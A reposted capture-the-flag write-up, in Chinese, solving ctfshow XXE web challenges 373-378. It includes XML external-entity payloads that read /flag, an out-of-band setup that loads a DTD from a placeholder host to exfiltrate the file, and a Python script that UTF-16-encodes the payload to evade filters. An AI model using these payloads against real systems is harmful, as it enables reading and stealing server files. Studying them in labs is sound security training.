ctfshow xxe web373-378

news2024/11/26 20:44:54

web373 

libxml_disable_entity_loader(false):这行代码用于启用实体加载器,允许加载外部实体。

$xmlfile = file_get_contents('php://input'):从输入流中读取XML数据并存储在 $xmlfile 变量中。

$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD):加载XML数据到 DOMDocument 对象中,并设置选项 LIBXML_NOENT 和 LIBXML_DTDLOAD,这些选项用于控制XML解析器的行为。

$creds = simplexml_import_dom($dom):将 DOMDocument 对象转换为 SimpleXMLElement 对象。

$ctfshow = $creds->ctfshow;:从 XML 数据中获取名为 ctfshow 的元素的值。

burpsuite抓包发送

<?xml version="1.0"?>
<!DOCTYPE payload [
<!ELEMENT payload ANY>
<!ENTITY xxe SYSTEM "file:///flag">
]>
<creds>
<ctfshow>&xxe;</ctfshow>
</creds>
 

forword

web374-376

这题没有回显,可以使用外带数据通道提取数据

一个dtd文件在本地服务器上

在写一个get.php文件接收数据

抓包输入

 

我们需要获得当前目录下的flag数据,然后在本地服务器创建的dtd文件(创建与我们的服务器的联系),最后一个%send将实体解析,于是在题目的服务器下,将/flag文件里的数据通过实体%file通过get传参传入了get.php文件中并执行,于是触发命令,在本地服务器建立flag.txt并将flag写入了其中

web 375

和上一题相比,这一题过滤了版本号,不写就可以,和上一题方法一样。

web 376

也是过滤了版本号,同上

web 377

这题在过滤了版本的基础上还过滤了http头

关于xml解析器:
XML解析器通常可以解析多种编码形式的XML文档,其中一些常见的编码包括:


UTF-8:这是最常见的编码形式,也是许多XML文档默认使用的编码。
UTF-16:XML文档也可以使用UTF-16编码。
ISO-8859-1(Latin-1):虽然不常见,但XML解析器通常也能够解析使用ISO-8859-1编码的XML文档。
其他:除了上述常见的编码形式之外,XML解析器还可能支持其他一些编码形式,如UTF-32等。
通常情况下,XML解析器能够根据XML文档中的声明或者特征来确定文档所使用的编码形式,从而正确解析文档内容。

正则表达式通常是针对ASCII字符编写的,而不是针对Unicode字符编写的。
UTF-16编码使得每个字符占用两个字节,这可能会使得某些正则表达式检测不到字符串中的特定模式,因为正则表达式可能只检查单个字节或特定的字节序列。

因此可以更改编码方式过后,我们就可以绕过简单的正则表达式

构造post传参:

import requests
 
url = 'http://8b8a3d03-40d2-4131-a046-710f0cd40dbd.challenge.ctf.show/'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""
 
requests.post(url ,data=data.encode('utf-16'))
print("done!")
 

web 378

随便输入看到有回显

抓包

111改成&xxe; 、前面加上:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
[POST]Payload:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>$xxe;</password></user>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1557147.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

从零开始机器学习(机器学习 监督学习之线性回归 损失函数及可视化 梯度下降 线性回归的平方误差损失函数 lab实验)

文章目录 机器学习定义监督学习之线性回归损失函数及可视化梯度下降线性回归的平方误差损失函数lab实验 机器学习定义 机器学习就是机器通过不断训练数据集从逐渐知道正确的结果 机器学习包括监督学习和非监督学习 监督学习&#xff1a;需要输入数据和结果数据来不断训练学习…

晚间兼职新选择:6种副业让你收入满意

晚上&#xff0c;是许多人放松身心、享受闲暇时光的时刻&#xff0c;但你知道吗&#xff1f;它也是开启副业之门的黄金时段。接下来&#xff0c;我将为你揭晓6个特别适合晚间操作的副业&#xff0c;期待能助你一臂之力。 1,网络兼职新篇章&#xff1a;在浩瀚的互联网海洋中&am…

2024年北京通信展|北京国际信息通信展览会|北京PT展

2024年北京通信展|北京国际信息通信展览会|北京PT展 2024年中国国际信息通信展览会&#xff08;PTEXPO&#xff09;&#xff0c;是由工业和信息化部主办的ICT行业盛会&#xff0c;自1990年创办以来&#xff0c;已成功举办31届&#xff0c;是反映信息通信行业发展最新成果的重要…

NO13 蓝桥杯单片机之NE555的使用及实践

由于LM555的内容较少&#xff0c;因此就把使用方法和代码实践放在一起了。 1 NE555使用方法 NE555是一个“信号发生电路”&#xff0c;可以理解为一个“方波产生器”&#xff0c;值得注意的是&#xff0c;其是一个硬件电路&#xff0c;一旦确定了功能也就确定了&#xff0c;所…

JDK,JRE,JVM 区别和联系【大白话Java面试题】

JDK&#xff0c;JRE&#xff0c;JVM 区别和联系 大白话回答&#xff1a; JDK是开发环境一般开发人员需要&#xff0c;包含开发环境&#xff08;JDK)和运行环境&#xff08;JRE&#xff09;&#xff0c;JRE是运行环境&#xff0c;普通用户需要。jre文件夹下的bin文件夹就是JVM的…

【unity】认识unity Hub的主要功能

这里我们主要讲解unity Hub中的【项目】和【安装】功能&#xff0c;其他对应的功能栏相信大家根据文字就可以知道相应的作用。 首先是介绍【项目】功能&#xff0c;在这里我们可以创建本地项目和云端项目&#xff0c;作为初学者我们创建本地项目皆可&#xff0c;当然如果你是多…

一则关于Go的高级构建指北

本文将探索Golang高级构建技巧&#xff0c;从而有助于创建更高效的二进制文件。 构建选项 以下是 go build 命令最常用的一些选项&#xff1a; -o: 指定输出文件名。默认输出文件名是主软件包的名称&#xff0c;在 Windows 系统中会自动添加 .exe 后缀。-v: 详细输出。该选项…

【AI系列】Python NLTK 库和停用词处理的应用

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

力扣236---二叉树的最近公共祖先(DFS,Java)

题目描述&#xff1a; 给定一个二叉树, 找到该树中两个指定节点的最近公共祖先。 百度百科中最近公共祖先的定义为&#xff1a;“对于有根树 T 的两个节点 p、q&#xff0c;最近公共祖先表示为一个节点 x&#xff0c;满足 x 是 p、q 的祖先且 x 的深度尽可能大&#xff08;一个…

电脑数据守护者:揭秘自动备份的神奇力量

在数字化时代&#xff0c;数据已经成为我们生活和工作中不可或缺的一部分。然而&#xff0c;电脑故障、人为误操作、恶意软件攻击等风险时刻威胁着数据的安全。因此&#xff0c;自动备份的重要性愈发凸显。它能够在数据发生意外丢失或损坏时&#xff0c;迅速恢复原始数据&#…

java入门学习Day03

本篇文章主要有java中的变量、命名方法、数据类型。 一、java中的变量 数据类型 变量名 数据值&#xff1b;int money 50&#xff1b; public class varibledemo {public static void main(String[] args) {int money 50;//变量的输出System.out.println(money);money 6…

浅谈 kafka

引言 同事在公司内部分享了关于 kafka 技术一些相关的内容&#xff0c;所以有了这篇文章&#xff1b;部分图片选自网络摘抄&#xff1b; 1 Kafka概述 1.1 定义 Kafka传统定义&#xff1a;kafka是一个分布式的基于发布/订阅模式的消息队列。 Kafka最新定义&#xff1a;kafka…

ubuntu 安装 cloudcompare(两种方法)

方法一 &#xff1a;从 snap 安装 &#xff08;推荐&#xff09; 安装简单&#xff0c;基本上功能都有&#xff08;读写保存las&#xff0c;pcd&#xff0c;标注等&#xff09; 安装&#xff1a; sudo apt-get update sudo apt install snap sudo snap install cloudcompare…

【送书福利第六期】:《AI绘画教程:Midjourney使用方法与技巧从入门到精通》

文章目录 一、《AI绘画教程&#xff1a;Midjourney使用方法与技巧从入门到精通》二、内容介绍三、作者介绍&#x1f324;️粉丝福利 一、《AI绘画教程&#xff1a;Midjourney使用方法与技巧从入门到精通》 一本书读懂Midjourney绘画&#xff0c;让创意更简单&#xff0c;让设计…

二十四种设计模式与六大设计原则(一):【策略模式、代理模式、单例模式、多例模式、工厂方法模式、抽象工厂模式】的定义、举例说明、核心思想、适用场景和优缺点

目录 策略模式【Strategy Pattern】 定义 举例说明 核心思想 适用场景 优缺点 代理模式【Proxy Pattern】 定义 举例说明 核心思想 适用场景 优缺点 单例模式【Singleton Pattern】 定义 举例说明 核心思想 适用场景 优缺点 多例模式【Multition Pattern】…

视频素材库哪个软件好?这8个高清无版权的素材网推荐

小伙伴们在制作短视频的时候&#xff0c;是不是为找素材发愁呢&#xff1f;一个高质量的无水印视频对创作者的帮助太大了&#xff0c;而且还需要无版权可商用的&#xff0c;那究竟有没有这样的网站呢&#xff1f;今天我来告诉大家。 1&#xff0c;蛙学府&#xff08;中国&…

电商系列之售后退货

> 插&#xff1a;AI时代&#xff0c;程序员或多或少要了解些人工智能&#xff0c;前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。 坚持不懈&#xff0c;越努力越幸运&#xff0c;大家…

InternLM 全链路开源体系

书生 浦语全链路开发体系&#xff1a;从数据到最后的应用&#xff0c;都有相应开源工具&#xff0c;其中模型&#xff0c;和数据集都有很好的开源支持。 一. 书生 万卷 书生万卷开发数据集包括&#xff0c;1.0和CC&#xff0c;拥有较为丰富的高质量的数据集&#xff0c;可用于…

Spring依赖注入思想分析

Spring 依赖注入思想分析 文章目录 Spring 依赖注入思想分析一、前言二、控制反转&#xff08;Inversion of Control&#xff09;1. 代码依赖初始化问题2. 匿名内部类解决方案3. 创建接口实现类方案4. 问题深入5. 定义父类解决问题1方案6. 控制反转解决问题2方案 三、依赖注入&…

Swift:“逻辑运算子“与“比较运算符“

1. 逻辑非 ! 逻辑非运算符 ! 是用于对布尔值取反的。当操作数为 true 时&#xff0c;! 将返回 false&#xff0c;而当操作数为 false 时&#xff0c;! 将返回 true。 let isTrue true let isFalse !isTrue // isFalse 现在是 false 2. 逻辑与 && 逻辑与运算符 &a…